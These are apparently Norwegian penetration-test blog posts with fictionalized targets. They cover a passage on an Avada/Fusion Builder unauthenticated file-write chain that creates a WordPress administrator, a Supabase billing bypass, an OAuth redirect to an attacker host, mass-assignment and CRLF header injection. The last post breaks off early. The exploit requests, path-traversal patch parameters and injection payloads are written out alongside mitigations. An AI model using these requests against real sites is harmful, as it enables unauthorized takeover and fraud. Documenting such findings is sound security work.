Det så først ut som feil nonce, feil versjon eller en patch som allerede var markert som brukt. Agenten sammenlignet requesten med pluginlogikken og fant den egentlige begrensningen: `Fusion_Patcher_Cache::get_cache([])` normaliserte patchlisten med numeriske indekser `0..N`. Den store ID-en pekte aldri på det injiserte objektet.
Løsningen var ikke flere tilfeldige tall. Jeg ba AI-en bygge en syntetisk patchliste med kontrollerte sentineler og legge selve patchen på en gyldig indeks mellom 0 og 4. Da kunne jeg skille «patcheren svarte» fra «patcheren brukte min patchmetadata».
## Full PoC: anonym request til WordPress-admin
CVE-2026-18431 beskriver samme klasse: Avada opp til og med 7.16 sammen med Fusion Builder opp til og med 3.16 kunne nås gjennom en uautentisert arbitrary-file-write-kjede. Den offentlige oversikten ligger hos [OpenCVE](https://app.opencve.io/cve/CVE-2026-18431). Det interessante i denne testen var ikke versjonstreffet. Det var den komplette, reversible transaksjonen.
### Forutsetninger og sikkerhetsoppsett
- Ingen konto, cookie eller tidligere foothold.
- Avada 7.12.1 og Avada Builder 3.12.1.
- `wp-content/index.php` var en offentlig rutet PHP-fil.
- Filens originale innhold var 28 byte:
```php
Jeg kjørte filskriv og administratoropprettelse bare fordi dette var eksplisitt
autorisert. En retest av samme klasse trenger backup, et avtalt tidsvindu og en
ferdig rollback før første write.
### Steg 1: prestate
```bash
curl -sS -D - https://skranglekoppas.no/wp-content/index.php -o /tmp/index-pre.body
wc -c /tmp/index-pre.body
sha256sum /tmp/index-pre.body
```
```text
0 /tmp/index-pre.body
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/index-pre.body
```
Tom body var forventet fordi PHP-filen bare inneholdt en kommentar. Hashen ble cleanup-orakelet.
### Steg 2: bygg request-lokal patchmetadata
Agenten genererte en form-request med tre sentineler og create-patch på indeks `3`. Den virksomme Dynamic Data-encodingen og source-referansen er sanert:
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=fusion_get_widget_markup
fusion_load_nonce=
awb_patcher_nonce=
patchID=3
fusion_options[avada][0]=poc-sentinel-0
fusion_options[avada][1]=poc-sentinel-1
fusion_options[avada][2]=poc-sentinel-2
fusion_options[avada][3][patch][0][context]=avada
fusion_options[avada][3][patch][0][path]=../../index.php
fusion_options[avada][3][patch][0][reference]=
fusion_options[avada][3][patch][0][version]=7.12.1
params[wp_widget_text__text]=
```
Pathen går fra Avadas forventede patchområde til `wp-content/index.php`. Source pekte på en byte-eksakt, midlertidig PHP-bridge. Jeg hentet source tilbake før patching og sammenlignet bytes og SHA-256 med den lokale payloaden.
Serveren bekreftet at akkurat indeks `3` ble brukt:
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"success":true,"data":{"message":"Patch applied","patch_id":3}}
```
Dette beviser at patchhandleren godtok den injiserte patchen. Det beviser fortsatt ikke at PHP kjørte.
### Steg 3: kjør den selvrestaurerende bridgen
Jeg trigget den rutede filen med en unik markør:
```http
GET /wp-content/index.php?proof=9d4e7b2a HTTP/1.1
Host: skranglekoppas.no
```
Bridgen gjorde følgende, i denne rekkefølgen:
1. skrev de originale 28 byte tilbake til `__FILE__`;
2. lastet `wp-load.php`;
3. genererte et tilfeldig passord;
4. opprettet `poc_admin_9d4e7b2a` med rollen `administrator`;
5. verifiserte `manage_options`;
6. krypterte resultatet med en engangs RSA-public key;
7. returnerte bare ciphertext.
Den virksomme PHP-koden er med hensikt ikke gjengitt. HTTP-responsen hadde denne formen:
```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
POC_ADMIN_CREATE_9d4e7b2a|
```
Lokal dekryptering ga en kort kontrollrecord:
```json
{
"state": "CREATED",
"user_id": 7,
"username": "poc_admin_9d4e7b2a",
"manage_options": true
}
```
Passordfeltet ble brukt i minnet og deretter kastet. Ciphertext i evidensen var 256 byte; den tilhørende private nøkkelen ble ikke lagt i rapportpakken.
### Steg 4: vanlig WordPress-innlogging
Et internt funksjonskall som sier `manage_options=true` er bra, men jeg ville bevise at kontoen fungerte gjennom samme flate som en angriper ville brukt.
```http
POST /wp-login.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
log=poc_admin_9d4e7b2a&pwd=&wp-submit=Log+In&redirect_to=https%3A%2F%2Fskranglekoppas.no%2Fwp-admin%2F&testcookie=1
```
```http
HTTP/1.1 302 Found
Location: /wp-login.php?redirect_to=%2Fwp-admin%2F&action=confirm_admin_email
Set-Cookie: wordpress_logged_in_; HttpOnly; Secure
```
Den nye sesjonen hentet deretter begge administratorflatene:
```text
GET /wp-admin/ -> 200, ca. 144 KB, wp-admin-markup funnet
GET /wp-admin/users.php -> 200, ca. 87 KB, users-tabellen funnet
```
Funn: . Kausalkjeden var nå komplett: anonym request, patchapply, filskriv, PHP-kjøring, privilegert bruker og ordinær administratorinnlogging.
## Cleanup var en egen transaksjon
Jeg brukte en ny syntetisk patch på indeks `4` til cleanup. Den payloaden restaurerte målfilen først, slettet testbrukeren, ødela alle sessions for bruker-ID-en og fjernet bare de syntetiske patch-ID-ene `0..4` fra `fusion_applied_patches` og `fusion_failed_patches`.
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"success":true,"data":{"message":"Patch applied","patch_id":4}}
```
Cleanup-bridgen returnerte en enkel maskinlesbar kvittering:
```text
POC_ADMIN_CLEAN_9d4e7b2a|USER_DELETED|PATCH_RESIDUE_0
```
Jeg stolte ikke på kvitteringen alene. Scriptet kjørte fire readbacks:
```text
GET /wp-content/index.php
-> 200, 0 byte, SHA-256 e3b0c442...b855
GET /wp-json/wp/v2/users?slug=poc_admin_9d4e7b2a
-> 200, []
POST /wp-login.php med gammelt testpassord
-> ingen wordpress_logged_in-cookie
GET /wp-admin/ med gammel testsesjon
-> 302 til wp-login.php?...&reauth=1
```
`objective_proved=true` og `cleanup_verified=true` var separate felt i evidensen. Det ene kunne ikke gjøre det andre sant.
## Det jeg forkastet underveis
### TOC-write var ikke RCE
Det første funnet var ekte, men avgrenset. En fast metanøkkel med saniterte verdier er ikke vilkårlig kodekjøring. Hadde jeg kalt den «foothold til admin» på grunn av en `200`, ville rapporten vært feil.
### Første fil-canary manglet et rent orakel
Før `wp-content/index.php` prøvde jeg en canary i en theme-path. Patcheren svarte `Patch applied`, og URL-en returnerte 75 byte, men den unike markøren manglet. Post-cleanup-responsen var identisk med source-bodyen, ikke med prestate:
```json
{
"execute_status": 200,
"bytes": 75,
"marker_exact": false,
"postcleanup_matches_prestate": false
}
```
Det kunne være redirect, routing eller feil målpath. Jeg forkastet det som bevis og byttet til en fil med kjent originalinnhold, stabil offentlig route og hashbasert pre-/poststate.
### En patcherrespons var ikke en filskriv
`Skip the patch` på den store patch-ID-en betydde at handleren levde. Det betydde ikke at source var hentet eller at pathen var skrevet. Først da en gyldig indeks ga `Patch applied`, source round-trippet byte-eksakt og PHP-markøren kjørte over HTTP, hadde jeg et sammenhengende bevis.
### WordPress-admin ga ingen automatisk app-pivot
Adminposisjonen ga tilgang til WordPress-runtime og lagrede integrasjoner, men den ga ikke en magisk session i Skranglekopp AS sin separate SaaS. Jeg testet to gjenfunne credential-par én gang hver mot to app-loginflater. Alle fire forsøk ble avvist. Målrettet cracking og lekkasjesøk ga heller ingen kryptografisk match.
Det negative resultatet ble stående som negativt. Jeg hadde WordPress, ikke resten av selskapets applikasjoner.
## Verktøy og arbeidsdeling
De viktigste verktøyene var ikke en stor scanner. Det var små, målrettede script med tydelige orakler.
### HTTP-baseline
Jeg brukte `curl` og `httpx` til status, routing og reproduksjon:
```bash
httpx -u https://skranglekoppas.no \
-status-code -title -tech-detect -web-server -follow-redirects
curl -sS -D headers.txt \
https://skranglekoppas.no/wp-content/index.php \
-o index.body
```
AI-agentene kjørte den brede host-/endepunktkartleggingen. Jeg satte scope, rate og hvilke svar som fikk følges opp.
### Transaksjonsscriptet
AI-en skrev først separate script for nonce, patchapply, canary og cleanup. Det var nyttig i utforskningen, men for mange løse deler til et kritisk bevis. Jeg ba den samle kjeden i én transaksjon med `try/finally`, kryptert credential-retur og separate mål/cleanup-verdikter.
Den sanerte rapportvarianten kjøres slik:
```bash
python3 poc_f08_full_chain_admin.py \
--target https://skranglekoppas.no \
--output ./evidence/f08 \
--execute \
--allow-httpbingo
```
`--allow-httpbingo` er en eksplisitt sperre rundt den byte-eksakte source-mekanismen som ble brukt i det avtalte testvinduet. Scriptet leser source tilbake og sammenligner bytes før patching. I en kundestyrt retest ville jeg erstattet den med en source-host kunden selv kontrollerer.
Skriptet nekter aktiv kjøring uten `--execute`. Det avbryter før write hvis prestate ikke er tom, genererer tilfeldig admin, verifiserer vanlig login og gir bare exitkode `0` når både kompromittering og cleanup er bevist.
Før levering kjørte jeg:
```bash
python3 -m py_compile poc_f07_toc_meta_write.py poc_f08_full_chain_admin.py
sha256sum -c SHA256SUMS
```
```text
POC_GUARDS_OK
ARCHIVE_AND_ALL_INTERNAL_CHECKSUMS_OK
```
AI-en skrev og kjørte script, parserte responsene og holdt evidensledgeren oppdatert. Mine avgjørelser var å godkjenne den reversible administratortransaksjonen, forkaste det svake theme-canary-beviset, stoppe credential-pivoten etter negative kontroller og bestemme hva som kunne publiseres.
## Mitigering
Oppdatering kommer først. Berørte Avada/Fusion Builder-versjoner må erstattes med leverandørens rettede release, og begge komponentene må kontrolleres etter deploy. Det holder ikke å oppdatere temaet og la Builder-pluginen stå igjen.
Selve handlerne trenger også en ordentlig autorisasjonsgrense. En forenklet før/etter ser slik ut:
```diff
function apply_patch() {
+ if (!is_user_logged_in() || !current_user_can('update_plugins')) {
+ wp_send_json_error(['message' => 'Forbidden'], 403);
+ }
+
+ check_ajax_referer('awb_apply_patch', 'awb_patcher_nonce');
+
$patch_id = absint($_POST['patchID']);
- $patch = fusion_get_request_overridden_cache()[$patch_id];
+ $patch = fusion_get_server_managed_patch_catalog()[$patch_id] ?? null;
+ if (!$patch) {
+ wp_send_json_error(['message' => 'Unknown patch'], 400);
+ }
+
+ $target = canonicalize_patch_target($patch['path']);
+ if (!path_is_inside($target, AVADA_ALLOWED_PATCH_ROOT)) {
+ wp_send_json_error(['message' => 'Invalid path'], 400);
+ }
}
```
`awb_save_toc_tree` trenger den samme disiplinen på postnivå:
```diff
-add_action('wp_ajax_nopriv_awb_save_toc_tree', 'awb_save_toc_tree');
add_action('wp_ajax_awb_save_toc_tree', 'awb_save_toc_tree');
function awb_save_toc_tree() {
+ check_ajax_referer('awb_save_toc_tree', 'nonce');
$post_id = absint($_POST['postId']);
+ if (!$post_id || !current_user_can('edit_post', $post_id)) {
+ wp_send_json_error(['message' => 'Forbidden'], 403);
+ }
// valider størrelse, dybde og schema før update_post_meta()
}
```
På plattformnivå anbefalte jeg read-only deployartefakter, `DISALLOW_FILE_MODS` der driftsmodellen tillater det, og at PHP-brukeren ikke får skrive til webkjørbare plugin-/theme-paths. Etter en uautentisert RCE må kunden i tillegg behandle miljøet som mulig tidligere kompromittert: integritetssjekk filer og database, gjennomgå adminbrukere og cron, invalider sessions og roter WordPress-salter, databasepassord og integrasjonshemmeligheter.
En WAF-regel mot actionnavnet kan kjøpe tid, men den reparerer ikke
tillitsgrensen. Permanent fix må ligge i autentisering, capability-sjekk,
serverstyrt patchkatalog og stram path-validering.
## Hva jeg lærte
- En nonce er ikke en autorisasjon. Den kan begrense CSRF og fortsatt være verdiløs hvis en anonym renderkontekst får mintet eller gjenbrukt den mot privilegerte hooks.
- `HTTP 200` var det minst interessante signalet i hele kjeden. Readback, unik marker, normal login og rollback gjorde resultatet rapporterbart.
- En fast post-meta-write må avgrenses ærlig. Den var middels alvorlig, selv om den lå i samme plugin som den kritiske kjeden.
- Pluginens interne datamodell avgjorde exploiten. Den store patch-ID-en feilet fordi cachen reindekserte til `0..N`; kildekodelesing slo flere tilfeldige forsøk.
- En filskriv trenger et stabilt utførelsesorakel. Theme-canaryen ga tvetydig routing, mens `wp-content/index.php` hadde kjent prestate og offentlig route.
- Cleanup må designes før create. Selvrestaurering først, minst mulig endring, separat cleanup-patch og uavhengig poststate gjorde produksjonsbeviset forsvarlig.
- AI var best på bredde og mekanisk disiplin. Den skrev script, kjørte kontroller og sammenlignet hasher. Vurderingen av hva som var bevist, hva som skulle forkastes og når det var forsvarlig å opprette en admin var fortsatt min.
Jeg startet med en 200-respons fra en anonym TOC-handler. Jeg endte med en vanlig WordPress-administratorsesjon, men bare fordi hvert ledd fikk sitt eget orakel. Det er forskjellen på en interessant request og en dokumentert kompromitteringskjede.
---
# Fakturaen som aldri ble betalt — billing-bypass i en Supabase edge function
URL: https://erik.no/blogg/2026-08-10-fakturaen-som-aldri-ble-betalt-supabase-billing-bypass
Publisert: 2026-08-10
Tags: pentest, supabase, billing-bypass, oauth, security, ai
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Brunost AS (`brunostas.no`) kjører en SaaS som gir bedrifter en poengsum basert
på Brønnøysund-registerdata og regnskapsintegrasjoner. Backend er Supabase —
PostgREST, GoTrue-auth, edge functions. Frontend er en Next.js-SPA på Vercel.
Oppdraget var en ekstern pentest av hele stakken, og det funnet som satte
tonen var ikke et minnekorruption eller en injeksjon — det var en edge
function som aksepterte `paymentMethod: "invoice"` og ga deg et aktiv
enterprise-abonnement uten å betale en krone.
Det funnet er , og det er det jeg vil vise helt ut:
forutsetninger, den eksakte forespørselen, responsen, den negative
kontrollen, og hva det låste opp av andre funn. I tillegg kommer to funn som
ble mer interessante _fordi_ billing-bypassen eksisterte.
## Kontekst
Scope var `brunostas.no` (web, auth, Supabase BaaS) og et relatert domene.
To kontrollerte testkontoer ble registrert og verifisert — Bruker A og Bruker
B, i hver sin tenant. Jeg kjører slike oppdrag med AI i loopen: agenter gjør
recon, kartlegger endepunkter, skriver og kjører scripts, og jeg styrer
scope, prioriterer, verifiserer og tar de vurderingene som krever
menneskedømmekraft.
Første steg var å la en agent hente den offentlige `anon`-nøkkelen fra
SPA-bundlen, kartlegge GoTrue-settings, enumerere PostgREST-tabeller og
edge functions. AI-en spytter ut et overflatedekke raskt — verdien ligger i
å skille ekte hull fra støy, og det er der jeg bruker tiden.
## F-01: Gratis enterprise via `create-checkout`
### Hva jeg fant
Edge function `create-checkout` tar en JSON-body med `plan`, `interval`,
`paymentMethod`, `companyId` og et `invoice`-objekt. Når `paymentMethod` er
`"invoice"`, returnerer den `{"invoicePending":true}` og oppretter en rad i
`subscriptions` med `plan=enterprise`, `status=active`,
`invoice_status=pending`. Ingen betaling behandles. Kontoen behandles som et
aktivt enterprise-abonnement.
Dette er samme klasse feil som [RLS-posten om
abonnementsplanen](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten)
— tilstanden som bestemmer tilgang ligger i en brukerskrivbar rad — men
mekanismen er annerledes: her er det en edge function som gjør jobben, ikke
en direkte PostgREST-PATCH.
### PoC / Reproduksjon
**Forutsetninger:** innlogget som Bruker A (verifisert e-post, gyldig JWT),
`companyId` tilhører A. `anon`-nøkkelen er offentlig og ligger i
front-end-bundlen.
1. Hent `anon`-nøkkelen fra SPA-bundlen (AI-en fant den i en minified
JS-chunk).
2. Logg inn og hent et access token:
```bash
curl -s -X POST "https://auth.brunostas.no/auth/v1/token?grant_type=password" \
-H "apikey: " \
-H "Content-Type: application/json" \
-d '{"email":"brunost-a@emalupe.com","password":""}'
```
3. Send checkout-forespørselen med `paymentMethod: "invoice"`:
```http
POST /functions/v1/create-checkout HTTP/1.1
Host: brunost.supabase.co
apikey:
Authorization: Bearer
Content-Type: application/json
{
"plan": "enterprise",
"interval": "year",
"paymentMethod": "invoice",
"companyId": "11111111-1111-4111-8111-111111111111",
"invoice": {
"companyName": "POC-BILLING-BYPASS",
"orgNumber": "999999999",
"email": "brunost-a@emalupe.com",
"address": "Testveien 1"
}
}
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"invoicePending":true}
```
4. Verifiser at abonnementet er aktivt:
```http
GET /rest/v1/subscriptions?select=plan,status,invoice_status,payment_method&order=created_at.desc&limit=1 HTTP/1.1
Host: brunost.supabase.co
apikey:
Authorization: Bearer
```
```json
[{"plan":"enterprise","status":"active","invoice_status":"pending","payment_method":"invoice"}]
```
`status=active` er poenget. Abonnementet er ikke `pending` eller `trial` —
det er aktivt enterprise, og enterprise-gatede funksjoner låses opp.
5. **Negativ kontroll** — send samme forespørsel med
`paymentMethod: "card"` (forventet: en Stripe checkout-URL, ikke et
aktivt abonnement):
```json
{"url":"https://checkout.stripe.com/c/pay/cs_test_abc123..."}
```
Med `card` returneres en Stripe checkout-URL og ingen `subscriptions`-rad
opprettes før betalingen er gjennomført. Med `invoice` opprettes raden
umiddelbart. Det er forskjellen: `invoice`-stien stoler på en klientpåstand
om at fakturaen _kommer_ til å bli betalt, i stedet for å vente på
bekreftelse.
Denne PoC-en oppretter et ekte Stripe-fakturaobjekt. Jeg kjørte den én
gang mot min egen testkonto og ryddet opp etterpå. Ikke kjør den i en
løkke eller mot ekte kundedata.
### Mitigering
Ikke sett `status=active` før fakturaen faktisk er betalt. Lytt på
`invoice.paid` eller `payment_intent.succeeded` fra Stripe-webhooken og
oppdater `subscriptions`-raden først da. Alternativt: krev manuell
godkjenning eller Stripe-fakturafinalisering før enterprise-tilgang
provisjoneres.
```diff
- const { data, error } = await supabase
- .from('subscriptions')
- .insert({ plan, status: 'active', invoice_status: 'pending' })
+ // Don't provision until Stripe webhook confirms payment
+ const { data, error } = await supabase
+ .from('subscriptions')
+ .insert({ plan, status: 'pending', invoice_status: 'pending' })
```
## F-03: OAuth `redirect_to` uten allow-list
### Hva jeg fant
GoTrue sin `/auth/v1/authorize`-endpoint reflekterer `redirect_to`-parameteren
ukritisk inn i providerens OAuth-URL. Test med `https://evil.example`,
`//evil.example` og `https://evil.example@www.brunostas.no` — alle ble
reflektert i `Location`-headeren.
Feilveier (avbrutt OAuth, feil credentials) baker riktig til
`www.brunostas.no`. Suksessveien kunne jeg ikke teste uten en ekte
Google/LinkedIn-konto, men den ukritiske refleksjonen er bekreftet.
Dette er samme klasse funn som dukket opp i
[kontaktskjema-posten](/blogg/2026-07-14-nextjs-middleware-cve-som-ikke-traff)
og i [WordPress/e-post-posten](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren):
uvalidert redirect kombinert med manglende e-postautentisering (SPF, DKIM,
DMARC `p=none` på `brunostas.no`) gir en realistisk phishing-kjede.
### PoC
```bash
curl -s -D - -o /dev/null \
-G "https://auth.brunostas.no/auth/v1/authorize" \
-H "apikey: " \
--data-urlencode "provider=google" \
--data-urlencode "redirect_to=https://evil.example.com/steal" \
| grep -i "^location:"
```
```http
location: https://accounts.google.com/o/oauth2/v2/auth?...redirect_to=https://evil.example.com/steal...
```
`redirect_to` sitter ukodet i providerens autoriserings-URL. GoTrue kan
validere — feilveien (avbrutt OAuth, feil credentials) baker riktig til
`www.brunostas.no`:
```bash
curl -s -D - -o /dev/null \
-G "https://auth.brunostas.no/auth/v1/authorize" \
-H "apikey: " \
--data-urlencode "provider=google" \
--data-urlencode "redirect_to=https://evil.example.com/steal" \
--data-urlencode "code_challenge=invalid" \
| grep -i "^location:"
```
```http
location: https://www.brunostas.no/?error=...
```
Så validatoren _finns_. Den trigges bare ikke på suksessveien. Det er det
som gjør funnet troverdig: koden for å avvise uvaliderte redirects er der,
den kjører bare på feilpathen.
Hvis callbacken på suksessveien også bruker `redirect_to`, kan en
phishing-e-post (levert fra en forfalsket `@brunostas.no`-adresse — SPF,
DKIM og DMARC `p=none` var alle fraværende) sende offeret til angriperen
med sesjonen i URL-fragmentet. Jeg kunne ikke bekrefte suksessveien uten
en ekte Google/LinkedIn-konto, men refleksjonen er bekreftet.
### Mitigering
Allow-list `redirect_to` til registrerte callback-URLer. Implementer SPF,
DKIM og DMARC `p=reject` på `brunostas.no`. —
suksessveien er ikke bekreftet utnyttet, men refleksjonen pluss manglende
e-postautentisering gjør kjeden troverdig.
## F-04: Mass-assignment av Brønnøysund-metadata
### Hva jeg fant
PostgREST-PATCH på `companies` og `user_profiles` aksepterer endring av
server-kontrollerte kolonner. På `companies`: `brreg_synced_at`,
`brreg_checked_at`, `brreg_raw`, `created_at`, `updated_at`. På
`user_profiles`: `first_name`, `last_name`, `onboarding_completed_at`,
`last_active_at`.
`brreg_raw` er det mest interessante: det er det rå responsobjektet fra
Brønnøysund-registeret, som appen bruker til å beregne poengsum og vise
"registerverifisert"-status. En angriper kan forfalske dette til å se ut som
om selskapet har spesifikke registeregenskaper.
Dette ble mer interessant _fordi_ billing-bypassen ga enterprise-tilgang,
som igjen låser opp integrasjons-synk-funksjoner som forbruker disse
dataene.
### PoC
```http
PATCH /rest/v1/companies?id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1
Host: brunost.supabase.co
apikey:
Authorization: Bearer
Content-Type: application/json
Prefer: return=representation
{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}
```
```json
[{"brreg_synced_at":"2020-01-01T00:00:00+00:00","brreg_checked_at":"2020-01-01T00:00:00+00:00","brreg_raw":{"forged":true}}]
```
Radene oppdateres og returneres. `brreg_raw` kan settes til et vilkårlig
JSON-objekt — det er det Brønnøysund-responsen normalt sett lagres som, og
det er det appen leser for å beregne poengsum og vise "registerverifisert".
En angriper kan altså forfalske hele registergrunnlaget for sin egen
bedrift: konkurstatus, VAT-registrering, under avvikling — alle feltene
appen stoler på for scoring.
**Negativ kontroll** — prøv å sette `role='admin'` på `user_profiles`:
```http
PATCH /rest/v1/user_profiles?user_id=eq.11111111-1111-4111-8111-111111111111 HTTP/1.1
Authorization: Bearer
{"role":"admin"}
```
```http
HTTP/1.1 403 Forbidden
```
RLS-policyen for `role`-kolonnen holder. Det er de andre kolonnene som er
åpne — og `role` er den eneste som har en `WITH CHECK`-policy. Det er
mønsteret: én kolonne beskyttet, resten glemt.
### Mitigering
Fjern server-kontrollerte kolonner fra PostgREST sin `UPDATE`-grant. Bruk
`WITH CHECK`-policies som avviser endringer av `brreg_*`, `created_at`,
`updated_at`, `source`. Bruk `DEFAULT now()` og triggers for tidsstempler.
— tilliten til registerdata undergraves, men
det krever en innlogget bruker og påvirker bare egne data.
## F-02: Regresjonen som kom tilbake
Under runde 6 av testingen fant jeg at RLS INSERT-policyen på `financials`
og `integrations` hadde regressert: Bruker A kunne sette inn rader med
`company_id` tilhørende Bruker B. Det var et klassisk cross-tenant-brudd —
i sin egen rett, spesielt fordi
synk-funksjonene forbruker disse radene.
Jeg rapporterte det. Det ble fikset. Så i en senere syklus testet jeg på
nytt — og det var åpent igjen. Regresjon. Rapportert på nytt. Fikset.
På den endelige retesten (siste dagen av oppdraget) sendte jeg
INSERT-forespørselen en gang til:
```http
POST /rest/v1/financials HTTP/1.1
Host: brunost.supabase.co
Authorization: Bearer
Content-Type: application/json
{"company_id":"22222222-2222-4222-8222-222222222222","cash":12345,"source":"fiken_sync"}
```
```json
{"code":"42501","message":"new row violates row-level security policy for table \"financials\""}
```
`403`. Den holdt. Men det at den brøt to ganger i løpet av oppdraget er et
signal: RLS-policyer er skjøre, og det finnes ingen CI-regresjonstest som
fanger opp at en `INSERT`-policy blir reversert.
Dette er nøyaktig det [cross-tenant-posten fra
juli](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering)
handler om — forskjellen er at her brøt den faktisk, to ganger, før den
holdt. Legg til en CI-test som kjører cross-tenant INSERT på `financials`
og `integrations` ved hver deploy.
## F-05: CRLF i fakturafeltene
`invoice.companyName` og `invoice.address` i `create-checkout` aksepterer
literal `\r\n`. Bytene lagres i `subscriptions.invoice_company_name` og
`invoice_address` og videresendes til Stripe sin faktura-API.
```bash
printf 'POC-CRLF\r\nBcc: attacker@emalupe.com' | xxd | head -2
# 00000000: 504f 432d 4352 4c46 0d0a 4263 636f ...
```
`invoice.email` er validert og avviser CRLF — så valideringen _finns_, den
er bare ikke påfelt på `companyName` og `address`. Bekreftelse med en
hex-dump av den lagrede verdien i `subscriptions`-tabellen:
```bash
curl -s -G "https://brunost.supabase.co/rest/v1/subscriptions" \
-H "apikey: " \
-H "Authorization: Bearer " \
--data-urlencode "select=invoice_company_name" \
--data-urlencode "order=created_at.desc&limit=1" \
| jq -r '.[0].invoice_company_name' | xxd | head -3
```
```
00000000: 504f 432d 4352 4c46 0d0a 4263 636f 3a20 POC-CRLF..Bcc:
00000010: 6174 7461 636b 6572 4065 6d61 6c75 7065 attacker@emalupe
00000020: 2e63 6f6d .com
```
`0d0a` (CRLF) sitter i den lagrede verdien og videresendes til Stripe sin
faktura-API. — potensiell log/CSV-splitting
eller Stripe e-post-header-manipulering, men jeg beviste ingen nedstrøms-sink
utover at bytene lagres og videresendes.
## Blindveier og falske positiver
Ikke alt som så ut som et funn overlevde verifisering. Noen eksempler:
- **`admin-list` edge function** returnerte `403` for alle ikke-admin
brukere. AI-en flagget den som en potensiell BFLA, men RLS-policyen for
`user_profiles.role` holdt — `PATCH role='admin'` ble avvist. Det var
ikke et funn, det var en vellykket forsvarslinje.
- **`nango-connect` og `shared-scores` edge functions** forsvant midt i
oppdraget (begge returnerte `404`). De hadde vært flagget i tidligere
runder. Enten ble de fjernet eller flyttet — uansett var de ikke lenger
angripbare.
- **Cross-tenant SELECT** ble aldje åpnet. RLS-policyen for lesing holdt
hele veien. AI-en prøvde flere varianter (kolonne-probing,
schema-bouncing, RPC-omveier) — alle blokkert. Det er en negativ
kontroll på systemnivå: lese-isolasjonen var solid, selv når
skrive-isolasjonen brøt.
## Verktøy og hvem som kjørte hva
- **Recon og overflatekartlegging:** AI-agenter hentet `anon`-nøkkelen fra
SPA-bundlen, kartla GoTrue-settings, enumererte PostgREST-tabeller og
edge functions. Jeg satte scope og verifiserte funn.
- **PostgREST-testing:** AI-genererte curl-scripts for INSERT/PATCH/DELETE
på alle tilgjengelige tabeller, kjørt i parallelle lanes mot to
testkontoer. Jeg brøt inn for å verifisere cross-tenant-funn med en
uavhengig andre konto.
- **Billing-bypass:** AI-en identifiserte `paymentMethod: "invoice"`-stien
fra edge function-koden i bundlen. Jeg verifiserte med en manuell curl
og sjekket `subscriptions`-tabellen.
- **OAuth redirect:** enkel curl mot `/auth/v1/authorize` med
`redirect_to`. AI-en genererte test-payloads; jeg verifiserte at
feilveien baker riktig.
- **CRLF:** AI-generert script med `printf '\r\n'` i JSON-body, bekreftet
med `xxd` av lagret verdi.
- **Retest:** alle funn ble retestet på siste dag med ferske tokens.
Cross-tenant INSERT holdt (403), billing-bypass holdt (200),
mass-assignment holdt (200).
## Hva jeg lærte
- **Edge functions som provisjonerer tilgang før bekreftelse er den nye
RLS-feilen.** En edge function som stoler på en klientpåstand
(`paymentMethod: "invoice"`) er like farlig som en RLS-policy som glemmer
`WITH CHECK` — kanskje mer, fordi den er vanskeligere å se.
- **Billing-bypass forsterker alt annet.** Gratis enterprise låste opp
integrasjonssynk, som forbruker `financials` og `integrations`-rader,
som (i regresjonsperioden) kunne settes inn cross-tenant. Et medium-funn
ble en kjede.
- **RLS-regresjoner er et CI-problem.** At en INSERT-policy brøt to ganger
i løpet av et oppdrag betyr at ingenting fanger opp at den reverseres.
En 10-linjers test som kjører cross-tenant INSERT ved hver deploy hadde
stoppet begge regresjonene.
- **Én kolonne med `WITH CHECK` er ikke nok.** `user_profiles.role` var
beskyttet; `brreg_raw`, `created_at`, `updated_at` var ikke. Mønsteret er
at den _åpenbare_ sensitive kolonnen får en policy, og de _subtile_
server-kontrollerte feltene glemmes.
- **Suksessveien i OAuth er den vanskelige å teste.** Feilveien baker
riktig. Suksessveien krever en ekte provider-konto, og uten den kan jeg
bekrefte refleksjonen men ikke utnyttelsen. Det er ærlig å si det, og det
er forskjellen mellom og .
- **Validering som finnes på ett felt og ikke et annet er et mønster.**
`invoice.email` avviste CRLF; `invoice.companyName` og `invoice.address`
aksepterte det. `user_profiles.role` hadde `WITH CHECK`; `brreg_raw` hadde
det ikke. Når du finner én kolonne beskyttet og naboen ikke, test alle
feltene i samme tabell — det er sjelden bare én som mangler.
## Veien videre
Hvis jeg skulle gjort noe annerledes: jeg ville registrert en ekte
Google-konto tidligere i oppdraget for å teste OAuth-suksessveien. Det er
det eneste funnet der jeg måtte stoppe ved "refleksjon bekreftet, utnyttelse
ikke bekreftet" — og det er en viktig forskjell i alvorlighetsgrad.
Neste gang jeg tester en Supabase-app vil jeg også lete etter edge
functions som provisjonerer tilstand før en webhook bekrefter det. Det er
den klassen feil som RLS-testing alene ikke fanger.
---
# Tauri-skrivebordsappen som angrepflate: det web-laget holdt, skrivebordet sprakk
URL: https://erik.no/blogg/2026-08-09-tauri-desktop-app-som-angrepflate
Publisert: 2026-08-09
Tags: pentest, tauri, desktop-security, mcp, ai, security
**FIKTIVT:** Alle firmanavn, personnavn, domener og e-postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Tjall AS (`tjallas.no`) kjører en AI-agentplattform med en Tauri-basert skrivebordsapp, et Next.js-web-grensesnitt, et API i Node og en MCP-server. IT-sjefen Kari Olsen (`kari.olsen@tjallas.no`) ville vite om plattformen holdt. Svaret var todelt: web-laget var det mest herdet jeg har testet i år. Skrivebordsappen var den myke underbuken, med en mobilbro som lytter på hele LAN-et og et Tauri-IPC-flate som gir renderer-en direkte tilgang til skall, filsystem, SSH og MCP-konfigurasjon.
## Kontekst
Scope var hele `tjallas.no`-domenet — alt som tilhører organisasjonen. Det ga meg fem angrepflater:
| Flate | Stack | Cloudflare |
